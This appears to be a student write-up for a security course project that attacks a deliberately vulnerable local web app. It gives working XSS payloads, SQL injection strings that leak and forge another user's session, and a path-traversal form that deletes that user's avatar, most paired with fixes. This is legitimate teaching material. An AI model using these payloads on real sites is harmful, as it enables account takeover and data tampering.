# **Project 3: Write-Up**

Other Issues

1:

The first issue is that the session ID is stored directly in the cookie unencrypted. That means that anyone who can inject script that calls document.cookie can see their own session ID. Also, since the session ID is stored in the database unhashed, with some SQL injection, an attacker can steal other users' session ID as well. To fix this, we can encrypt the session ID, or store it somewhere else. We can also set the cookie to "HTTPOnly" so Javascript cannot access the cookie.

2:

There are quite a few input locations that don't escape both SQL and HTML, such as in the input to post, and in get_username_from_session() in auth_helper.py. These are vulnerable points where users can inject valid HTML or SQL.
To prevent this, instead of just escaping HTML & SQL, the website should use prepared statements, which is a more effective method of preventing SQL injection, and escape more HTML characters with escape sequences.

3:

When accessing the avatar image, it uses the path instead of validating the user. There is no permission system that checks if the contents being deleted or modified actually belongs to that user, or someone else. This allows attackers to craft methods, like file traversal, to modify the content of other people. This website can fix this by validating user behavior and avoid file traversal by assigning unique filename to each file associated with the user.

## **Weaponize Vulnerability**

Our end goal is to create a post that appears to be from the user dirks. To do this, we must obtain dirks' session ID, which is located in his cookie. To get his cookie, we will first use the age input to perform some SQL injection. We choose the age box because the age input does not start with a quote (eg. age=5 instead of age='5'), so we don't need to worry about closing the input quote or other SQL syntax issues.
However, the problem with the age box is that it only takes in numbers. To bypass this, we need to change the age type="number" to type="text" so we can input SQL injection code. We will solve this problem by simply copying the entire HTML of the age form into the post box with the type="text", and there will appear an artificial age box on the wall, where we can input any text we want.

The HTML we input into post below:

```
<form action="/profile" method="post" enctype=application/x-www-form-urlencoded>
        <div class="field">
           <label class="label" for="age">Age</label>
           <input class="input" id="age" type="text" name="age" value="Hi">
        </div>
```

```
            <input type="text" class="input" style="display:none" id="username" name="username"
value="xoxogg">
            <div class="field">
              <p class="control">
                <button type="submit" class="button is-primary">Update Profile</button>
              </p>
            </div>
          </form>
```

In line 158 of server.py, we note that the database executes "UPDATE users SET age={} WHERE username='{}';. So in our new age box, we can input **5, avatar=(SELECT id FROM sessions WHERE username="dirks")** and our database will execute
“UPDATE users SET age=5, avatar=(SELECT id FROM sessions WHERE username="dirks") WHERE username="xoxogg"
Now, xoxogg’s avatar has been set to the session id of dirks, and we can obtain this by doing inspect element on the avatar and see dirk’s session id is
`a1bb809d940217cd6866df4b8e349b356a7ec4883faaeb87752a4d4fcb080558612cef59371f6d1d410cf8a459`

Finally, we can input into our local console
document.cookie="SESSION_ID=a1bb809d940217cd6866df4b8e349b356a7ec4883faaeb87752a4d4fcb080558612cef59371f6d1d410cf8a459" and we are now logged in as dirks. We can now post, upload images, delete images, write more scripts, all as user dirks!

<u>**Vulnerability Writeup**</u>
<u>Exploit 1</u>
**http://127.0.0.1:5000/wall/<div%20onclick=alert(document.cookie)>**

How the vulnerability works:
- This is a reflected XSS attack. It works because when the wall for a non-existing username is requested, the non-existing username is also stored as HTML into the webpage as “No wall for {fake_username}!”. The vulnerability is that the username input is only sql-sanitized, not html-sanitized. We exploit this by making {fake_username} a script, so that it would run naturally when the page is loaded.

The line of code where the vulnerability works:
- Line 128 in server.py is where we render the “no-wall.html” for when a username request doesn’t exist. The lack of html-sanitization is apparent at line 127.

The impact an attacker can achieve (on the site, other users, etc.) by exploiting this vulnerability:
- The attacker can make the script reveal their own document.cookie, make an alert, and overall do anything Javascript can do within the same origin.

How to fix this vulnerability in this server (if applicable, feel free to provide source code):
- We should escape inputted usernames with html as well, so that characters such as < and > get converted into escape sequences such as &lt; or &gt;. This ensures that attempted script sequences get interpreted as part of strings rather than be executed.

How to avoid this vulnerability in general (techniques, tools, etc.):
- Sanitize the input by escaping characters or use Django. Also, another (possibly limiting) option is to not even have the non-existing username input appear in the website in the first place.

<u>Exploit 5</u>
SQL injection - bypassing authentication
def get_username_from_session(): doesn't escape sql injection
- Go to chrome console and overwrite the session_id so that I can bypass the authentication and pretend to be dirks
  **document.cookie = "SESSION_ID=0'OR/**/username='dirks"**
- Post something to the wall

How the vulnerability works:
- Since the authentication function doesn't escape the session id, an attacker can input a malicious input to do SQL injection. To inject SQL query to SELECT username FROM sessions WHERE id='{}';, we need to first close the quote with whatever id an attacker chooses. Then OR username='dirks', will always result in username='dirks'. We also need a single quote at the end to close the string. Since setting the cookie on the browser doesn't allow white space, we can use SQL comment to fill in the white space.

The line of code where the vulnerability works:
- line 20 of auth_helper.py

The impact an attacker can achieve by this exploit:
- An attacker can pretend to be any user an attacker wants. As a consequence, an attacker can post on the wall or upload an avatar or change the age of another user.

How to fix this vulnerability:
- We should sanitize the input before inputting into the sql query using session = escape_sql(session).

How to avoid this vulnerability in general:
- Sanitize the input by escaping characters. Use a framework such as Django.

<u>Exploit 6</u>
Input this into posts. A valid delete_avatar form will appear on the wall, and we can delete anyone's avatar!

```
<form action="/delete_avatars" method="post">
    <article class="media">
      <figure class="media-left">
        <p class="image is-64x64">
          <img class="avatar-image" src="avatar_images/xoxogg/../dirks/dirks.jpg">
        </p>
      </figure>
      <div class="content">
        <p>
          <strong>Delete? </strong><input name="avatar" type="checkbox"
value="avatar_images/xoxogg/../dirks/dirks.jpg">
        </p>
      </div>
    </article>
    <button type="submit" class="button is-primary">Delete Selected Avatars</button>
    </form>
```

How the vulnerability works:

- The goal behind this vulnerability is to do something dirks can do, without being dirks. In this case, we will delete dirks' profile picture without even needing to get his session id. We do this by first noticing that in the delete form, the picture to be deleted is referred to as a link of the form avatar_images/{username}/{filename}. So what if the username wasn't xoxogg, but dirks? Since we are logged in as xoxogg already, we will need to do some file traversal, by "cd'ing" up to avatar_images, then typing in dirks' profile picture, like this: **avatar_images/xoxogg/../dirks/dirks.jpg**. Now that we have the correct link, we can just exploit the fact that the post box doesn't escape html by creating our own post entry with the HTML for delete_avatar using the malicious filename. Clicking "delete" will successfully delete dirks' profile picture!

The line of code where the vulnerability works:

- This vulnerability works because we can see how avatar_images are stored in this website from lines 12 and 17 of delete_avatars.html. Our method also works because html is not escaped in the post box. Line 194 in server.py shows that only sql is escaped, not html.

The impact an attacker can achieve by this exploit:

- The attacker is capable of deleting any images of any other users because they know how the avatar file traversal works in the website, and they can delete/change these images because they can generate valid html snippets of delete_avatar to delete whatever and whoever's picture they want.

How to fix this vulnerability:

- Firstly, we must escape html in the post box by replacing characters like <, > with &lt; and &gt;. Then, we should prevent users from doing file traversals in the html, such as preventing any “../” in avatar links.

How to avoid this vulnerability in general:
- Sanitize file inputs. Use Django.

**<u>Vulnerability Notes Below (Not Part of the Write-Up)</u>**

<u>Exploit 1</u>

```
http://127.0.0.1:5000/wall/<div%20onclick=alert(document.cookie)>
```

<u>Exploit 2</u>

```
<script>alert(1);</script>
```

<u>Exploit 3</u>

```
  <form action="/profile" method="post" enctype=multipart/form-data>
          <div class="field">
            <label class="label" for="avatar">Avatar Image</label>
            <input class="input" id="avatar" type="file" name="avatar" value="3">
          </div>
          <input type="text" class="input" style="display:none" id="username" name="username"
value="dirks">
          <div class="field">
            <p class="control">
              <button type="submit" class="button is-primary">Update Profile</button>
            </p>
          </div>
      </form>
```

<u>Exploit 4</u>

SQL Injection: Input into Post

```
<form action="/profile" method="post" enctype=application/x-www-form-urlencoded>
          <div class="field">
            <label class="label" for="age">Age</label>
            <input class="input" id="age" type="text" name="age" value="Dirks Is Fat">
          </div>
```

```
        <input type="text" class="input" style="display:none" id="username"
name="username" value="xoxogg">
        <div class="field">
          <p class="control">
            <button type="submit" class="button is-primary">Update Profile</button>
          </p>
        </div>
      </form>
```
After inputting this, put **5, username="dirks2"** into the entry. Now, visit
http://127.0.0.1:5000/wall/dirks2
UPDATE users SET age=**5, username="dirks2"** WHERE username='xoxogg'

**5, avatar=(UPDATE users SET age=5 WHERE username="dirks")**

<u>More Powerful Input</u>
UPDATE users SET age=**5, avatar=(SELECT id FROM sessions WHERE username="dirks")** WHERE username='xoxogg'
Now, look into the HTML of the profile picture on the wall, and get the session ID of dirks

```
a1bb809d940217cd6866df4b8e349b356a7ec4883faaeb87752a4d4fcb080558612cef59371f6d1d410cf8a459
```

Be xoxogg and change dirk's age

<u>Exploit 5</u>
SQL injection - bypassing authentication
def get_username_from_session(): doesn't escape sql injection

- Go to chrome console and overwrite the session_id so that I can bypass the authentication and pretend to be dirks
  **`document.cookie = "SESSION_ID=0'OR/**/username='dirks"`**
- Post something

How the vulnerability works: Since the authentication function doesn't escape the session id, an attacker can input a malicious input to do SQL injection. To inject SQL query to SELECT username FROM sessions WHERE id='{}';, we need to first close the quote with whatever id an attacker chooses. Then OR username='dirsk', will always result in username='dirks'. We also need a single quote at the end to close the string. Since the setting the cookie on the browser doesn't allow white space, we can use SQL comment to fill in the white space.

The line of code where the vulnerability works: line 20 of auth_helper.py
The impact an attacker can achieve by this exploit: An attacker can pretend to be any user an attacker wants. As a consequence, an attacker can post on the wall or upload an avatar or change the age of another user.
How to fix this vulnerability:  We should sanitize the input before inputting into the sql query using session = escape_sql(session).

How to avoid this vulnerability in general: Sanitize the input by escaping characters. Use a framework such as Django.

Exploit 6

```
<form action="/delete_avatars" method="post">
        <article class="media">
            <figure class="media-left">
                <p class="image is-64x64">
                    <img class="avatar-image" src="avatar_images/xoxogg/../dirks/dirks.jpg">
                </p>
            </figure>
            <div class="content">
                <p>
                    <strong>Delete? </strong><input name="avatar" type="checkbox"
value="avatar_images/xoxogg/../dirks/dirks.jpg">
                </p>
            </div>
        </article>
        <button type="submit" class="button is-primary">Delete Selected Avatars</button>
        </form>
```

Exploit 7

picture name -> **" onerror=alert(document.cookie)**
Then click on the pictures on the wall

Stuff that Hasn't Worked

INSERT INTO posts VALUES (‘xoxogg’, ‘’||**(SELECT session_id FROM sessions WHERE username = ‘dirks’)||‘**’)

```
\'||(SELECT session_id FROM sessions WHERE username = "dirks")||""\'
```

```
\'||(SELECT session_id FROM sessions WHERE username = "dirks")||')
```

```
" onclick=window.onload=function(){document.getElementById('age').removeAttribute('type')}
src="a
```

```
" onclick=window.onload=function(){alert(document.cookie)} src="a
```

session_ids are stored in the cookies
swap the ids in the database to feign Dirks

```
<script>document.getElementById("age").removeAttribute("type"); </script>
```

```
" onclick=document.getElementById(“age”).removeAttribute(“type”)
onclick=document.getElementsByClassName('input').type='text'
```

Can also input a picture named **dirks checked dirks** and the picture will be checked when you visit the avatars page.

```
<form action="/delete_avatars" method="post">
        <article class="media">
            <figure class="media-left">
                <p class="image is-64x64">
                    <img class="avatar-image" src="avatar_images/xoxogg/dirks.jpg">
                </p>
            </figure>
            <div class="content">
                <p>
                    <strong>Delete? </strong><input name="avatar" type="text"
value="avatar_images/xoxogg/dirks.jpg">
                </p>
            </div>
        </article>
        <button type="submit" class="button is-primary">Delete Selected Avatars</button>
        </form>
```